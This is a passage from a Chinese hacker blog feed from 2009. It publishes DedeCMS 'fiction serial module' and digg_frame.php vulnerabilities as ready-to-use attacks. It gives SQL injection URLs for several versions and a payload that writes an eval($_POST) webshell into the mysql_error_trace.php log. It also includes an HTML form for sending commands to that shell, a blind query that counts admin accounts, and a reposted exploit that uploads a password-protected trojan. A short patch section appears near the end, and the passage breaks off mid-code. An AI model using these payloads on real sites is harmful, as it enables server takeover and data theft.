<p><a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day1.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day1"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day1.gif" alt="dedecms-fiction-serial-module-0day1" title="dedecms-fiction-serial-module-0day1" width="629" height="410" class="alignnone size-full wp-image-181" /></a></p>
<p>测试二，keyword变量，地址如下<br />
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p%' or c.classname like '%st0p</p>
<p><a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day2.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day2"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day2.gif" alt="dedecms-fiction-serial-module-0day2" title="dedecms-fiction-serial-module-0day2" width="628" height="444" class="alignnone size-full wp-image-182" /></a></p>
<p>DEDECMS 5.31</p>
<p>测试一，catid变量，地址如下<br />
http://st0p:88/dedecms53/book/story_books.php?catid=10') or ('st0p'='st0p</p>
<p><a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day3.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day3"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day3.gif" alt="dedecms-fiction-serial-module-0day3" title="dedecms-fiction-serial-module-0day3" width="582" height="374" class="alignnone size-full wp-image-184" /></a></p>
<p>测试二，keyword变量，地址如下</p>
<p>http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%' or c.classname like '%st0p<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day4.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day4"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day4.gif" alt="dedecms-fiction-serial-module-0day4" title="dedecms-fiction-serial-module-0day4" width="620" height="354" class="alignnone size-full wp-image-185" /></a></p>
<p>DEDECMS 5.5</p>
<p>测试一，catid变量，地址如下<br />
http://st0p:88/dedecms55/book/story_books.php?catid=10') or ('st0p'='st0p</p>
<p><a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day5.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day5"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day5.gif" alt="dedecms-fiction-serial-module-0day5" title="dedecms-fiction-serial-module-0day5" width="569" height="355" class="alignnone size-full wp-image-186" /></a></p>
<p>测试二，keyword变量，地址如下<br />
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p%' or c.classname like '%st0p<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day6.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day6"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day6.gif" alt="dedecms-fiction-serial-module-0day6" title="dedecms-fiction-serial-module-0day6" width="610" height="384" class="alignnone size-full wp-image-187" /></a></p>
<p>看到了吧，这三个版本都存在，不过由于后来DEDECMS的版本对注入语句做了限制，注入的问题大家自己试吧，st0p就不讲了。<br />
其实只要大家变通一下就可以拿到一些站的权限，记得那个MYSQL错误写进后缀为PHP的日志文件的BUG吧，5.1好像没有这个功能，5.31没打补丁的话是有的，如果打过补丁就会像5.5一样，把后缀名字改为了INC，所以虽然能写进去一句话马，但没法利用。。。可怜啊，要是偶早发现，就是通杀了。。。</p>
<p>DEDECMS 5.31<br />
include/dedesql.class.php文件</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">......</span>
	<span style="color: #666666; font-style: italic;">//显示数据链接错误信息</span>
	<span style="color: #000000; font-weight: bold;">function</span> DisplayError<span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$errorTrackFile</span> <span style="color: #339933;">=</span> <span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/../data/mysql_error_trace.php'</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//这里是PHP后缀</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;&lt;h3&gt;DedeCMS Error Warning!&lt;/h3&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;&lt;a class=&quot;</span>thickbox<span style="color: #0000ff;">&quot; href='http://bbs.dedecms.com' target='_blank' style='color:red'&gt;Technical Support: http://bbs.dedecms.com&lt;/a&gt;&lt;/div&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div style='line-helght:160%;font-size:14px;color:green'&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div style='color:blue'&gt;&lt;br /&gt;Error page: &lt;font color='red'&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetCurUrl</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/font&gt;&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;Error infos: <span style="color: #006699; font-weight: bold;">{$msg}</span>&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$emsg</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$savemsg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Page: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetCurUrl</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>Error: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$msg</span><span style="color: #339933;">;</span>
		<span style="color: #666666; font-style: italic;">//保存MySql错误日志</span>
		<span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$errorTrackFile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'?php'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>/*<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #006699; font-weight: bold;">{$savemsg}</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>*/<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>?&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">......</span></pre></td></tr></table></div>

<p>DEDECMS 5.5和打过补丁<br />
include/dedesql.class.php文件</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">......</span>
	<span style="color: #666666; font-style: italic;">//显示数据链接错误信息</span>
	<span style="color: #000000; font-weight: bold;">function</span> DisplayError<span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$errorTrackFile</span> <span style="color: #339933;">=</span> <span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/../data/mysql_error_trace.inc'</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//后缀变成INC了</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/../data/mysql_error_trace.php'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//如果mysql_error_trace.php存在，删除文件</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #339933;">@</span><span style="color: #990000;">unlink</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/../data/mysql_error_trace.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;&lt;h3&gt;DedeCMS Error Warning!&lt;/h3&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;&lt;a class=&quot;</span>thickbox<span style="color: #0000ff;">&quot; href='http://bbs.dedecms.com' target='_blank' style='color:red'&gt;Technical Support: http://bbs.dedecms.com&lt;/a&gt;&lt;/div&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div style='line-helght:160%;font-size:14px;color:green'&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div style='color:blue'&gt;&lt;br /&gt;Error page: &lt;font color='red'&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetCurUrl</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/font&gt;&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;Error infos: <span style="color: #006699; font-weight: bold;">{$msg}</span>&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$emsg</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$savemsg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Page: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetCurUrl</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>Error: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$msg</span><span style="color: #339933;">;</span>
		<span style="color: #666666; font-style: italic;">//保存MySql错误日志</span>
		<span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$errorTrackFile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'?php'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>/*<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #006699; font-weight: bold;">{$savemsg}</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>*/<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>?&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">......</span></pre></td></tr></table></div>

<p>看了上面的代码，我们明白了吧，5.5和5.31打过补丁的都会变成这样，没法利用了，我们说一下5.31可以利用时的方法。<br />
利用方法为</p>
<p>http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%'*/eval($_POST[st0p]);?></p>
<p><a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day7.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day7"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day7.gif" alt="dedecms-fiction-serial-module-0day7" title="dedecms-fiction-serial-module-0day7" width="643" height="371" class="alignnone size-full wp-image-190" /></a></p>
<p>嘿嘿。这样我们就得到了一个SHELL<br />
一句话地址为http://st0p:88/dedecms53/data/mysql_error_trace.php<br />
我们直接POST提交数据就行了，DEDECMS 5.5的利用是一样的，不过因为代码了处理，所以生成的文件后缀是INC，就没有用了,下面是用来提交的HTM代码，只需要把下面的表单地址换成你的就可以了</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;!</span>DOCTYPE html <span style="color: #000000; font-weight: bold;">PUBLIC</span> <span style="color: #0000ff;">&quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;</span> <span style="color: #0000ff;">&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>html xmlns<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.w3.org/1999/xhtml&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>meta http<span style="color: #339933;">-</span>equiv<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Content-Type&quot;</span> content<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;text/html; charset=utf-8&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>meta name<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;author&quot;</span> content<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;st0p,st0p.org&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>title<span style="color: #339933;">&gt;</span>st0p一句话提交<span style="color: #339933;">&lt;/</span>title<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>head<span style="color: #339933;">&gt;</span>
&nbsp;
<span style="color: #339933;">&lt;</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;!--</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--&gt;</span>
<span style="color: #339933;">&lt;</span>form id<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;form1&quot;</span> name<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;form1&quot;</span> method<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;post&quot;</span> action<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://st0p:88/dedecms53/data/mysql_error_trace.php&quot;</span><span style="color: #339933;">&gt;</span>
  <span style="color: #339933;">&lt;</span>p<span style="color: #339933;">&gt;</span>
    <span style="color: #339933;">&lt;</span>label<span style="color: #339933;">&gt;</span>
      <span style="color: #339933;">&lt;</span>textarea name<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;st0p&quot;</span> id<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;st0p&quot;</span> cols<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;45&quot;</span> rows<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;5&quot;</span><span style="color: #339933;">&gt;</span>echo <span style="color: #990000;">phpinfo</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>textarea<span style="color: #339933;">&gt;</span>
    <span style="color: #339933;">&lt;/</span>label<span style="color: #339933;">&gt;</span>
  <span style="color: #339933;">&lt;/</span>p<span style="color: #339933;">&gt;</span>
  <span style="color: #339933;">&lt;</span>p<span style="color: #339933;">&gt;</span>
    <span style="color: #339933;">&lt;</span>label<span style="color: #339933;">&gt;</span>
      <span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;submit&quot;</span> name<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;button&quot;</span> id<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;button&quot;</span> value<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;提交&quot;</span> <span style="color: #339933;">/&gt;</span>
    <span style="color: #339933;">&lt;/</span>label<span style="color: #339933;">&gt;</span>
  <span style="color: #339933;">&lt;/</span>p<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>form<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>html<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>当然小说连载模块还有别的文件也存在同样的问题，下面的几个文件都存在<br />
story_stow.php<br />
mybooks.php<br />
story_books.php<br />
story_list_chapter.php<br />
story_list_content.php</p>
<p>本来想过不发布这个0DAY的，嘿嘿，不过偶想多交点牛X点的朋友，共享信息，所以就决定发出来了，以后就少发一些吧。。。<br />
有问题大家可以在我的BLOG讨论！</p>
<p>注：文章发布后，有朋友看完之后说，这个很鸡肋，因为好多服务器都是magic_quotes_gpc = On情况下，这点我无意争论，但我写的问题是的确存在的，只是想利用需要一些条件而以，在5.1版本中如果说前台可以新增连载图书的话，也是有些用的，在5.31和5.5中过滤了SQL一些关键字，所以好似暂时没有方法，咱们以5.1版本来检测有几个管理员为例吧。<br />
1、我们要新增一本连载的书<br />
2、http://st0p:88/dedecms51/member/story_books.php?catid=10') or (select count(*) from dede_admin)>0 or ('st0p'='st0pa<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day8.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day8"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day8.gif" alt="dedecms-fiction-serial-module-0day8" title="dedecms-fiction-serial-module-0day8" width="716" height="560" class="alignnone size-full wp-image-197" /></a><br />
3、http://st0p:88/dedecms51/member/story_books.php?catid=10') or (select count(*) from dede_admin)>1 or ('st0p'='st0pa<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day9.gif" rel="gallery-174" title="dedecms-fiction-serial-module-0day9"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/09/dedecms-fiction-serial-module-0day9.gif" alt="dedecms-fiction-serial-module-0day9" title="dedecms-fiction-serial-module-0day9" width="800" height="553" class="alignnone size-full wp-image-198" /></a></p>
<p>嘎，上面得到结论就是管理员个数为1个。。。<br />
例子就举这个了，其实漏洞随时可能发生，不过在乎环境不同，影响不同而以，有时鸡肋的东西运用好也是会有收获的。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-fiction-serial-module-0day.html/feed</wfw:commentRss>
		<slash:comments>3630</slash:comments>
		</item>
		<item>
		<title>dedecms digg_frame.php注入漏洞</title>
		<link>http://www.st0p.org/blog/archives/dedecms-digg_frame-php-injection-vulnerability.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-digg_frame-php-injection-vulnerability.html#comments</comments>
		<pubDate>Sat, 29 Aug 2009 01:02:11 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[digg_frame.php]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=137</guid>
		<description><![CDATA[来源：张恒 dedecms5.3和5.5系列版本存在重大注入漏洞，请注意以下操作有攻击性，仅供研究。利用此漏洞进行违法活动者，后果自负。 假设域名是：www.abc.com 攻击步骤如下： 1. 访问网址： http://www.abc.com/plus/digg_frame.php?action=good&#038;id=1024%651024&#038;mid=*/eval($_POST[x]);var_dump(3);?> 可看见以下错误信息 2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。 int(3) Error: Illegal double '1024e1024' value found during parsing Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?> 3. 下载下面dedecms-digg_frame-php-injection-vulnerability并解压里面的文件 test.html，注意 form 中 action 的地址是 1 &#60;form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”&#62; 按确定后的看到第2步骤的信息表示文件木马上传成功。 木马网址：http://www.abc.com/data/a.php 密码：2006888 漏洞分析： 利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。 解决方案： 打开文件 include/dedesql.class.php 找到代码 1 [...]]]></description>
			<content:encoded><![CDATA[<p>来源：张恒</p>
<p>dedecms5.3和5.5系列版本存在重大注入漏洞，请注意以下操作有攻击性，仅供研究。利用此漏洞进行违法活动者，后果自负。</p>
<p>假设域名是：www.abc.com 攻击步骤如下：<br />
1. 访问网址：</p>
<p>http://www.abc.com/plus/digg_frame.php?action=good&#038;id=1024%651024&#038;mid=*/eval($_POST[x]);var_dump(3);?></p>
<p>可看见以下错误信息<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-digg_frame-php-injection-vulnerability.jpg" rel="gallery-137" title="dedecms-digg_frame-php-injection-vulnerability"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-digg_frame-php-injection-vulnerability.jpg" alt="dedecms-digg_frame-php-injection-vulnerability" title="dedecms-injection-vulnerability" width="684" height="246" class="alignnone size-full wp-image-138" /></a></p>
<p>2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。<br />
int(3) Error: Illegal double '1024e1024' value found during parsing<br />
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?></p>
<p>3. 下载下面<a  href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-digg_frame-php-injection-vulnerability.rar">dedecms-digg_frame-php-injection-vulnerability</a>并解压里面的文件 test.html，注意 form 中 action 的地址是</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”&gt;</pre></td></tr></table></div>

<p>按确定后的看到第2步骤的信息表示文件木马上传成功。</p>
<p>木马网址：http://www.abc.com/data/a.php<br />
密码：2006888</p>
<p>漏洞分析：<br />
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。</p>
<p>解决方案：</p>
<p>打开文件 include/dedesql.class.php<br />
找到代码</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> ‘<span style="color: #339933;">&lt;</span>’<span style="color: #339933;">.</span><span style="color: #0000ff;">'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”&gt;\r\n”);</span></pre></td></tr></table></div>

<p>替换代码</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> ‘<span style="color: #339933;">&lt;</span>’<span style="color: #339933;">.</span><span style="color: #0000ff;">'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”&gt;\r\n”);</span></pre></td></tr></table></div>

<p>清空 data/mysql_error_trace.php 文件内容</p>
<p>下载：<a  href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-digg_frame-php-injection-vulnerability.rar">dedecms-digg_frame-php-injection-vulnerability.rar</a></p>
<p>st0p：以上是原文了，作者没有说明引起的原因，st0p看了一下，发现这个漏洞是因为DEDECMS在执行SQL错误时，会写入错误记录文件引起的，同理呢调用Execute和Query函数的地方很可能还会引起此BUG，重要代码如下<br />
include/dedesql.class.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
